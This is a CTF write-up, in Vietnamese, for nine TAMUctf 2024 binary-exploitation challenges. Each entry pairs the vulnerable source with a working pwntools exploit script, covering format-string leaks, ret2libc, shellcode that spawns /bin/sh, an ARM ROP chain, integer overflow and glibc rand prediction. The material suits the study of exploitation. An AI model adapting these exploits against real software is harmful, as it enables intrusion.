# (writeup) TAMUctf 2024
## Admin Panel
- easy nên k wu
> leak canary, libc ---> ret2libc
- source
```c
#include <stdio.h>
#include <string.h>
int upkeep() {
// IGNORE THIS
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int admin() {
int choice = 0;
char report[64];
puts("\nWelcome to the administrator panel!\n");
puts("Here are your options:");
puts("1. Display current status report");
puts("2. Submit error report");
puts("3: Perform cloning (currently disabled)\n");
puts("Enter either 1, 2 or 3: ");
scanf("%d", &choice);
printf("You picked: %d\n\n", choice);
if (choice==1) {
puts("Status report: \n");
puts("\tAdministrator panel functioning as expected.");
puts("\tSome people have told me that my code is insecure, but");
puts("\tfortunately, the panel has many standard security measures implemented");
puts("\tto make up for that fact.\n");
puts("\tCurrently working on implementing cloning functionality,");
puts("\tthough it may be somewhat difficult (I am not a competent programmer).");
}
else if (choice==2) {
puts("Enter information on what went wrong:");
scanf("%128s", report);
puts("Report submitted!");
}
else if (choice==3) {
// NOTE: Too dangerous in the wrong hands, very spooky indeed
puts("Sorry, this functionality has not been thoroughly tested yet! Try again later.");
return 0;
clone();
}
else {
puts("Invalid option!");
}
}
int main() {
upkeep();
char username[16];
char password[24];
char status[24] = "Login Successful!\n";
puts("Secure Login:");
puts("Enter username of length 16:");
scanf("%16s", username);
puts("Enter password of length 24:");
scanf("%44s", password);
printf("Username entered: %s\n", username);
if (strncmp(username, "admin", 5) != 0 || strncmp(password, "secretpass123", 13) != 0) {
strcpy(status, "Login failed!\n");
printf(status);
printf("\nAccess denied to admin panel.\n");
printf("Exiting...\n");
return 0;
}
printf(status);
admin();
printf("\nExiting...\n");
}
```
- get flag

- script
```py
#1/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./admin-panel_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.log_level = "debug"
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="admin-panel")
# gdb.attach(io,gdbscript='''
# b*admin+281
# c
# ''')
# input()
io.recvline()*2
io.sendline(b'admin'.ljust(16,b'a'))
io.recvline()
io.sendline(b'secretpass123'.ljust(0x20,b'a')+b'%17$p|%15$p')
io.recvuntil(b'%15$p\n')
libc_leak = int(io.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - 0x2409b
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
canary = int(io.recvuntil(b'\n'),16)
log.info("canary: " + hex(canary))
io.sendlineafter(b'3: \n',b'2')
io.recvline()*3
pop_rdi = libc.address + 0x0000000000023a5f
payload = b'a'*0x48
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.sym.system)
io.sendline(payload)
io.interactive(prompt="")
#gigem{l3ak1ng_4ddre55e5_t0_byp4ss_s3cur1t1e5!!}
```
>gigem{l3ak1ng_4ddre55e5_t0_byp4ss_s3cur1t1e5!!}
## Janky
- basic file check

- source
```c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <capstone/capstone.h>
#include <sys/mman.h>
int upkeep() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int validate(char* ptr, size_t len) {
csh handle;
cs_insn *insn;
int ret = 1;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
return 0;
}
size_t count = cs_disasm(handle, ptr, len, 0, 0, &insn);
size_t success_len = 0;
if (count > 0) {
for (size_t j = 0; j < count; j++) {
ret &= insn[j].mnemonic[0] == 'j';
success_len += insn[j].size;
}
cs_free(insn, count);
} else {
return 0;
}
cs_close(&handle);
ret &= len == success_len;
return ret;
}
int main() {
upkeep();
char code[4096];
size_t n = read(0, code, 0x1000);
if (n > 0 && validate(code, n)) {
((void (*)())code)();
} else {
puts("That's not allowed! D:<");
}
}
```
### analyse
- chương trình cho ta thực thi shellcode khi và chỉ khi bypass hàm **validate()**
- ở hàm **validate()** sẽ check xem trong shellcode mình có chữ 'j' hay không
```c
ret &= insn[j].mnemonic[0] == 'j';
```
> shellcode có chữ 'j' chỉ có thể lệnh jump
> jmp, jz, jne, ...
### shellcode
- ta sẽ viết shellcode lần 1 chỉ có lệnh jump
- jump như thế nào thì một khi đang thực thi shellcode, ta có thể jump tuỳ ý, thì ta jump làm sao setup thanh ghi gọi sys_read thôi
```asm
jmp run + 3
run:
jmp [0x50e68948] , mov rsi, rsp; push rax
jmp run2 + 3
run2:
jmp [0x50ff3148] , xor rdi, rdi; push rax
jmp run3 + 3
run3:
jmp [0x050f] , syscall
```
- shellcode lần 2 cứ execve bình thường
### get flag

- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./janky',checksec=False)
context.log_level = "debug"
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="janky")
# gdb.attach(io,gdbscript='''
# b*validate+92
# b*validate+280
# b*main+102
# c
# ''')
# input()
'''
0: 48 89 e6 mov rsi,rsp
3: 50 push rax
-----------------------
0: 48 31 ff xor rdi,rdi
3: 50 push rax
-----------------------
0: 0f 05 syscall
'''
shellcode = asm(
'''
jmp run + 3
run:
jmp [0x50e68948]
jmp run2 + 3
run2:
jmp [0x50ff3148]
jmp run3 + 3
run3:
jmp [0x050f]
''', arch = 'amd64')
io.send(shellcode)
shellcode = asm('''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''',arch='amd64')
io.send(b'a' * 0x21 + shellcode)
io.interactive(prompt="")
#gigem{jump1ng_thr0ugh_h00p5}
```
>gigem{jump1ng_thr0ugh_h00p5}
## Rift
- basic file check

- source:
```c
#include <stdio.h>
int upkeep() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
char buf[64];
void vuln() {
int always_true = 1;
while (always_true) {
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
}
int main() {
upkeep();
vuln();
}
```
- chall về fmtstr
- idea:
- thoát loop: ow $rbp-0x4 = 0
- chain pop_rdi -> binsh -> system để ret2libc

- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./rift_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.log_level = "debug"
# io = remote("tamuctf.com", 443, ssl=True, sni="rift")
io = process(exe.path)
# gdb.attach(io,gdbscript='''
# b*vuln+56
# c
# ''')
# input()
io.sendline(b'%11$p||%8$p')
libc_leak = int(io.recvuntil(b'||',drop=True),16)
libc.address = libc_leak - 0x2409b
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
stack = int(io.recvuntil(b'\n',drop=True),16)
log.info("stack leak: " + hex(stack))
def fmt(addr,data):
io.sendline(f"%{(addr)&0xffff}c%13$hn")
io.sendline(f"%{(data)&0xffff}c%39$hn")
io.sendline(f"%{(addr+2)&0xffff}c%13$hn")
io.sendline(f"%{(data>>16)&0xffff}c%39$hn")
io.sendline(f"%{(addr+4)&0xffff}c%13$hn")
io.sendline(f"%{(data>>32)&0xffff}c%39$hn")
target = stack - 0x10
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym.system
pop_rdi = libc.address + 0x0000000000023a5f
fmt(target+0x8,pop_rdi)
fmt(target+0x10,binsh)
fmt(target+0x18,system)
io.sendline(f"%{(stack-20)&0xffff}c%13$hn")
io.sendline(f"%39$hn")
io.interactive(prompt="")
#
```
>quên lưu flag =))
## Confinement
- basic file check

- source
```c
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdlib.h>
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
char FLAG[64] = "test";
void load_flag() {
FILE* f = fopen("flag.txt", "r");
if (!f) {
puts("no flag found D:");
return;
}
fgets(FLAG, 64, f);
}
int main() {
init();
char* rwx = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
load_flag();
read(STDIN_FILENO, rwx, 0x1000);
if (fork() > 0) {
int ret = 0;
wait(&ret);
if (ret != 0) {
puts("something went wrong D:");
} else {
puts("adios");
}
} else {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
((void (*)())rwx)();
}
}
```
### analyse
- chương trình sẽ thực thi shellcode cho mình với điều kiện tiến trình con đang hoạt động (hàm **fork()**)
- thấy rằng là seccomp chỉ cho phép mỗi **exit_group** nên nghĩ đến hướng brute force flag
> vì có lưu flag trong biến bss
- và khả năng cao phải brute từng bit
> vì nếu brute byte khá là khoai (từ 0x20 đến 0x7f)
### brute force
- ta sẽ tạo 2 vòng lặp, 1 cho từng byte, 1 cho từng bit

>jump vào shellcode
- từng bit:
```py
def get_byte(offset):
bin_str = 0
for bit_offset in range(8):
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="confinement")
brute = asm(
f"""
pop r12
sub r12, 0x222c6
add r12, 0x47020
mov rsp, r12
xor r11, r11
xor rax, rax
mov al, [rsp+{offset}]
shr al, {bit_offset}
and al, 1
xor rdi, rdi
mov dil, al
mov rax, 0xe7
syscall
""", arch='amd64')
io.send(brute)
output = io.recvuntil(b'\n')
if b'adios\n' not in output:
bin_str += 1 << bit_offset
return bin_str
```
> do trên stack có địa chỉ exe
> nên sẽ pop vào 1 thành ghi nào đó đỡ
> r trừ ra base
> cộng ra địa chỉ FLAG
> rồi dùng phép AND (&) để so sánh bit 1 hoặc 0
> đưa kết quả vào $rdi rồi call hàm exit_group (sys_num = 0xe7)
> nếu ret trả về 1 thì thoả mãn
> ```c
> if (ret != 0) {
> puts("something went wrong D:");
> } else {
> puts("adios");
> }
>```
> đồng thời đưa bit dịch trái theo bit_offset (0 đến 7)
- từng byte
```py
def get_string(total):
text = ''
for i in range(total):
test = get_byte(i)
if chr(test) != '\0':
text += chr(test)
log.info("######################")
log.info("found :" + chr(test))
log.info("######################")
else:
break
return text
```
> lấy kết quả trả về cho vào hàm **chr()**
> gặp NULL (kết thúc chuỗi flag) sẽ break
### get flag

- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./confinement_patched',checksec=False)
# context.log_level = "debug"
def get_byte(offset):
bin_str = 0
for bit_offset in range(8):
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="confinement")
brute = asm(
f"""
pop r12
sub r12, 0x222c6
add r12, 0x47020
mov rsp, r12
xor r11, r11
xor rax, rax
mov al, [rsp+{offset}]
shr al, {bit_offset}
and al, 1
xor rdi, rdi
mov dil, al
mov rax, 0xe7
syscall
""", arch='amd64')
io.send(brute)
output = io.recvuntil(b'\n')
if b'adios\n' not in output:
bin_str += 1 << bit_offset
return bin_str
def get_string(total):
text = ''
for i in range(total):
test = get_byte(i)
if chr(test) != '\0':
text += chr(test)
log.info("######################")
log.info("found :" + chr(test))
log.info("######################")
else:
break
return text
flag = 0x47020
last = get_string(30)
print(last)
#gigem{3xf1l_5ucc3ss!}
```
>gigem{3xf1l_5ucc3ss!}
## Five
- basic file check

- source
```c
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void init() {
// ignore
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
int main() {
init();
char* input = mmap(main + 0x10000, 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
read(0, input, 5);
puts("glhf!");
((void (*)())(input))();
}
```
### analyse
- bài này shellcode 5 byte nên nghĩ ngay đến call read 1 lần nữa rồi get_shell

- để setup đủ register thì cần setup cả 4 thanh ghi
>$rax=0
>$rdi=0
>$rsi=addr_shellcode
>$rdx=size
- như vậy cần đến 6 byte
> xor rdi,rdi (2 byte)
> push rdx (1 byte)
> pop rsi (1 byte)
> syscall (2 byte)
- thấy là $rdi đang chứa biến môi trường nên đoán là server sẽ không có (chỉ là kinh nghiệm)
- nên bỏ phép ``xor rdi, rdi`` đi thì syscall thành công trên server
- vậy local k ăn shell được =)))
- thế shellcode chỉ cần 4 byte là đủ
### get flag

- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./five',checksec=False)
context.log_level = "debug"
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="five")
# gdb.attach(io,gdbscript='''
# b*main+107
# c
# ''')
# input()
shellcode = asm('''
push rdx
pop rsi
syscall
''',arch='amd64')
io.send(shellcode)
stage2 = b'\x90'*4 + asm('''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''')
# sleep(5)
io.sendafter(b'glhf!\n',stage2)
io.interactive(prompt="")
#gigem{if_you_used_syscall_read_pls_tell_nhwn_how_you_did_it}
```
>gigem{if_you_used_syscall_read_pls_tell_nhwn_how_you_did_it}
## Good Emulation
- basic file chec

- source
```c
#include <stdio.h>
#include <stdlib.h>
int upkeep() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void print_maps() {
FILE* f = fopen("/proc/self/maps", "r");
char buf[0x1000];
size_t n = fread(buf, 1, sizeof(buf), f);
fwrite(buf, 1, n, stdout);
fflush(stdout);
fclose(f);
}
void vuln() {
char buf[128];
printf("buf is at %p\n", buf);
gets(buf);
}
int main() {
upkeep();
puts("Look, the stack isn't RWX!");
print_maps();
vuln();
}
```
### analyse
- vì đây là file kiến trúc ARM nên exploit thông thường hơi khó
- có thể coi blog về ARM tui có viết
- BUG BOF khá rõ: `gets(buf);`
- thường mấy bài này sẽ tận dụng mấy thanh ghi thôi
### ROP chain
- trước khi nhập **buf** sẽ ỉn ra `/proc/self/maps` của tiến trình hiện tại (là chương trình này)
- ta sẽ setup ROPchain cho 4 thanh ghi
>$r7 giống $rax là syscall number = 0x3b
>$r0 giống $rdi
>$r1 giống $rsi
>$r2 giống $rdx
>syscall trong arm là `svc`
### get flag

- debug.dbg
```dbg
file good-emulation
set architecture arm
target remote :1234
b*vuln+44
c
```
- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./good-emulation',checksec=False)
context.log_level = "debug"
# io = process(['qemu-arm', '-g' ,'1234' ,'./good-emulation'])
context.log_level = 'debug'
# raw_input('Debug')
io = remote("tamuctf.com", 443, ssl=True, sni="good-emulation")
pop_r0_pc = 0x00060830
pop_r3_pc = 0x00010160
pop_r1_pc = 0x00060918
pop_r7_pc = 0x0002ea68
syscall = 0x0004e878
io.recvuntil(b'is at ')
buf = int(io.recvuntil(b'\n',drop=True),16)
payload = b'/bin/sh\0' + b'a'*0x7c
payload += p32(pop_r0_pc) + p32(buf)
payload += p32(pop_r1_pc) + p32(0)
payload += p32(pop_r3_pc) + p32(0)
payload += p32(pop_r7_pc) + p32(0xb)
payload += p32(syscall)
io.sendline(payload)
io.interactive(prompt="")
#gigem{q3mu_wh4t_th3_fl1p}
```
>gigem{q3mu_wh4t_th3_fl1p}
## Shrink
- basic file check

- source
```cpp
#include <cstdio>
#include <unistd.h>
#include <string>
void upkeep() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void win() {
char flag[64] = {0};
FILE* f = fopen("flag.txt", "r");
if (!f) {
perror("missing flag.txt");
return;
}
fgets(flag, 64, f);
puts(flag);
}
struct Username {
std::string buf = "this_is_a_default_username";
size_t len = 26;
void print() {
puts(buf.data());
}
void change() {
puts("Enter your new name: ");
int i = read(0, (void*)buf.data(), len);
if (i > 0) {
buf.resize(i);
buf.shrink_to_fit();
}
}
void add_exclamation() {
buf += "!";
len += 1;
}
};
void vuln() {
Username username;
int choice = 0;
bool going = true;
while (going) {
puts("Select an option:");
puts("1. Print username");
puts("2. Change username");
puts("3. Make username more exciting");
puts("4. Exit");
scanf("%d", &choice);
switch (choice) {
case 1:
username.print();
break;
case 2:
username.change();
break;
case 3:
username.add_exclamation();
break;
default:
going = false;
break;
}
}
}
int main() {
upkeep();
vuln();
}
```
### analyse
- option1 chỉ là in ra
- option2 sẽ dựa vào **len** để read
- option3 để tăng **len** rồi thêm byte '!' vào cuối chuỗi
- BUG ở option3, tăng lượng vừa đủ để ret2win
### get flag

- script
```py
from pwn import *
context.binary = exe = ELF('./shrink',checksec=False)
context.log_level = "debug"
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="shrink")
# gdb.attach(io,gdbscript='''
# b*0x401391
# b*0x401450
# c
# ''')
# input()
for i in range(50):
io.sendlineafter(b'4. Exit\n',b'3')
io.sendlineafter(b'4. Exit\n',b'2')
io.sendafter(b'name: \n',b'aaaa')
io.sendlineafter(b'4. Exit\n',b'2')
payload = b'a'*0x38 + p64(0x401255)
io.sendafter(b'name: \n',payload)
io.sendlineafter(b'4. Exit\n',b'4')
io.interactive(prompt="")
#gigem{https://i.redd.it/sayk4pi4ood81.png}
```
>``gigem{https://i.redd.it/sayk4pi4ood81.png}``
## Index
- basic file check

- source
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
typedef char Message[100];
Message MESSAGES[3] = {"Are ya winnin', son?", "Good luck getting the flag!", "You got this!"};
char* get_message(unsigned long i) {
Message* ret = &MESSAGES[i];
Message* start = &MESSAGES[0];
Message* end = &MESSAGES[2];
if (ret < start || end < ret) {
puts("That's not allowed!");
exit(0);
}
return ret;
}
unsigned long get() {
unsigned long i = 0;
scanf("%lu", &i);
return i;
}
void win() {
asm("andq $-16, %rsp");
char buf[64];
FILE* f = fopen("flag.txt", "r");
fgets(buf, sizeof(buf), f);
puts(buf);
}
void vuln() {
while (1) {
puts("\n1. Edit a message");
puts("2. Read a message");
puts("3. Exit\n");
unsigned long choice = get();
if (choice == 1) {
puts("Enter an index to edit (0-2):");
char* ptr = get_message(get());
puts("Enter your new message:");
memset(ptr, 0, 100);
read(STDIN_FILENO, ptr, 99);
} else if (choice == 2) {
puts("Enter an index to read (0-2):");
Message tmp;
strcpy(tmp, get_message(get()));
puts(tmp);
} else {
break;
}
}
}
int main() {
init();
vuln();
}
```
### analyse
- thấy rằng có hàm **win()** nên nghĩ đến ret2win
- mà option1 có hàm **read()** đọc size có 99 thôi, **memset()** tận 100
- option2 là in ra ouput và lưu trên stack (biến **tmp**)
- lờ mờ đoán được phải làm gì đó đụng đến **strcpy()** tránh NULL byte để copy full chuỗi
- thực ra có BUG interger overflow khi chọn index

>**get_message()**
- nhận đối số $a1 trả về từ **get()**
- nhân 100 rồi check phải nằm trong đoạn này
```c
Message MESSAGES[3] = {"Are ya winnin', son?", "Good luck getting the flag!", "You got this!"};
```

### interger overflow
- BUG ở chỗ nhân với 100 (ai mượn :v)
- ta sẽ lấy số cao nhất cho kiểu unsigned long

>18446744073709551615
- rồi bỏ đi 2 số cuối
- tăng thêm 1 là ``184467440737095517`` để khi nhân 100 nó sẽ bị ngu ngu

> đây là khi bị IOF
> không nằm trong phạm vi MESSAGE, MESSAGE+100 hay MESSAGE+200
> thế là ta chỉ việc nối chuỗi rồi dùng option2 cho lên stack
> rồi option3 exit sẽ return
> tăng giảm payload để return chuẩn nha
### get flag

- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./index',checksec=False)
context.log_level = "debug"
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="index")
# gdb.attach(io,gdbscript='''
# b*0x40136d
# b*0x00000000004013b5
# b*0x4013c2
# c
# ''')
# input()
def edit(idx,mess):
io.sendlineafter(b'3. Exit\n',b'1')
io.sendlineafter(b'(0-2):',str(idx))
io.sendafter(b'message:\n',mess)
num = 184467440737095517
payload = b'a'*99
edit(0,payload)
edit(num,payload)
payload = b'b'*(90-0x30-6) + p64(exe.sym.win+1)
edit(1,payload)
# edit(2,payload)
io.sendlineafter(b'3. Exit\n',b'2')
io.sendlineafter(b'(0-2):',str(0))
io.sendlineafter(b'3. Exit\n',b'3')
io.interactive(prompt="")
#gigem{wh0_put_m4th_1n_my_pwn}
```
>gigem{wh0_put_m4th_1n_my_pwn}
## Super Lucky
- basic file check

- source:
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
int lucky_numbers[777];
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
volatile int seed;
int fd = open("/dev/urandom", O_RDONLY);
read(fd, (char*)&seed, sizeof(seed));
read(fd, (char*)&lucky_numbers, sizeof(lucky_numbers));
srand(seed);
seed = 0;
close(fd);
}
int main() {
init();
puts("I'll give you a flag if you can guess the next 7 calls to rand(). As a benevolent level creator, I'll give you 21 free lucky numbers! Take your pick 0-777:");
for (int i = 0; i < 21; ++i) {
unsigned long pick = 0;
scanf("%lu", &pick);
printf("Here's lucky number #%d: %d\n", i + 1, lucky_numbers[pick]);
}
int all_correct = 1;
for (int i = 0; i < 7; ++i) {
int guess = 0;
printf("Enter guess #%d:\n", i + 1);
scanf("%d", &guess);
all_correct &= guess == rand();
}
if (all_correct) {
char buf[64];
FILE* f = fopen("flag.txt", "r");
fgets(buf, sizeof(buf), f);
puts(buf);
} else {
puts("That's not correct :(");
}
}
```
### analyse
- thông qua source ta thấy BUG OOB khá rõ ---> leak primitive (21 times)
- ta sẽ leak libc thông qua puts@got
- phân tích hoạt động:
```c
for (int i = 0; i < 21; ++i) {
unsigned long pick = 0;
scanf("%lu", &pick);
printf("Here's lucky number #%d: %d\n", i + 1, lucky_numbers[pick]);
}
```
> nhập là "%lu" nhưng output là "%d" (4 byte)
> ---> leak 2 lần để được full 8 byte
```py
def read4(addr):
idx = (addr - LUCKY_NUMBERS) // 4
io.sendline(str(idx).encode())
io.recvuntil(b': ')
return int(io.readline().decode().split(" ")[-1]) & 0xffffffff
def read8(addr):
return read4(addr) | (read4(addr + 4) << 32)
```
### rand
- ở chall này có lẽ không thể load libc vào để predict rand từ srand được (do seed được gen từ /dev/urandom)
- vì ta hoàn toàn có thể leak tuỳ ý nên BUG sẽ nằm trong chính source code của rand
```c
struct random_data
{
int32_t *fptr; /* Front pointer. */
int32_t *rptr; /* Rear pointer. */
int32_t *state; /* Array of state values. */
int rand_type; /* Type of random number generator. */
int rand_deg; /* Degree of random number generator. */
int rand_sep; /* Distance between front and rear. */
int32_t *end_ptr; /* Pointer behind state table. */
};
```
>https://elixir.bootlin.com/glibc/glibc-2.28/source/stdlib/stdlib.h#L423
```c
static struct random_data unsafe_state =
{
.fptr = &randtbl[SEP_3 + 1],
.rptr = &randtbl[1],
.state = &randtbl[1],
.rand_type = TYPE_3,
.rand_deg = DEG_3,
.rand_sep = SEP_3,
.end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};
```
>https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random.c#L160
- **randtbl**
```c
static int32_t randtbl[DEG_3 + 1] =
{
TYPE_3,
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
};
```
>https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random.c#L146
```c
int __random_r (struct random_data *buf, int32_t *result)
{
int32_t *state;
if (buf == NULL || result == NULL)
goto fail;
state = buf->state;
if (buf->rand_type == TYPE_0)
{
int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;
state[0] = val;
*result = val;
}
else
{
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
uint32_t val;
val = *fptr += (uint32_t) *rptr;
/* Chucking least random bit. */
*result = val >> 1;
++fptr;
if (fptr >= end_ptr)
{
fptr = state;
++rptr;
}
else
{
++rptr;
if (rptr >= end_ptr)
rptr = state;
}
buf->fptr = fptr;
buf->rptr = rptr;
}
return 0;
fail:
__set_errno (EINVAL);
return -1;
}
```
>https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/random_r.c#L352
>
>https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/stdlib/random_r.c#L370
- ta sẽ quan tâm 2 giá trị là **fptr** và **rptr**
### DEBUG
- ta có công thúc tính như source trên:
```c
val = *fptr += (uint32_t) *rptr;
/* Chucking least random bit. */
*result = val >> 1;
++fptr;
```
- ta sẽ reseeding nhằm mục đích debug

> **result** sẽ bằng **val** dịch phải 1
> **val** bằng ***fptr** (0x3e01511e) + ***rptr** (0x991539b1) rồi lấy 4 byte (uint32_t)
> 
- vậy ta đã predict thành công output của rand
- và để ý luôn `*fptr += (uint32_t) *rptr;`
> sau khi **rand()** sẽ cập nhật dữ liệu tại ***fptr**

- ta chỉ cần 7 giá trị dword (4 byte) cho lần guess, nên sẽ padding lần leak cho đủ 21 lần
- vì lí do ~~khó hiểu nào đó~~ mà khi pwninit libc thì file patched không tìm thấy unsafe_state nên sẽ gdb cả file gốc lẫn file patched để tìm offset

> offset unsafe_state = 0x1ba740
- check khi leak ở **randtbl** :

### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./super-lucky_patched',checksec=False)
context.log_level = 'debug'
libc = ELF("./libc.so.6",checksec=False)
# io = process(exe.path)
io = remote("tamuctf.com", 443, ssl=True, sni="super-lucky")
LUCKY_NUMBERS = 0x404040
UNSAFE_STATE = 0x1ba740
def read4(addr):
idx = (addr - LUCKY_NUMBERS) // 4
io.sendline(str(idx).encode())
io.recvuntil(b': ')
return int(io.readline().decode().split(" ")[-1]) & 0xffffffff
def read8(addr):
return read4(addr) | (read4(addr + 4) << 32)
io.readuntil(b"Take your pick 0-777:\n")
puts = read8(exe.got.puts)
libc.address = puts - libc.sym.puts
log.info("libc leak: " + hex(puts))
log.info("libc base: " + hex(libc.address))
# gdb.attach(io,gdbscript='''
# b*main+81
# b*main+217
# c
# ''')
# input()
unsafe_state = libc.address + UNSAFE_STATE
log.info("unsafe_state: " + hex(unsafe_state))
randtbl_addr = libc.address + 0x1ba1c0
rptr = read8(unsafe_state + 8)
log.info("rptr: " + hex(rptr))
randtbl = []
for i in range(17):
randtbl.append(read4(rptr + (i * 4)))
log.info("#########################")
log.info("randtbl: " + hex(randtbl_addr))
hex_array = [hex(num) for num in randtbl]
print(hex_array)
log.info("#########################")
for i in range(7):
io.readline()
#randtbl[i+3]=fptr #update: *fptr += (uint32_t) *rptr;
randtbl[i + 3] = ((randtbl[i + 3] + randtbl[i]) & 0xffffffff)
output = randtbl[i + 3] >> 1
io.sendline(str(output).encode())
io.interactive(prompt="")
#gigem{n0_on3_exp3ct5_the_l4gg3d_f1b0n4cc1}
```
>gigem{n0_on3_exp3ct5_the_l4gg3d_f1b0n4cc1}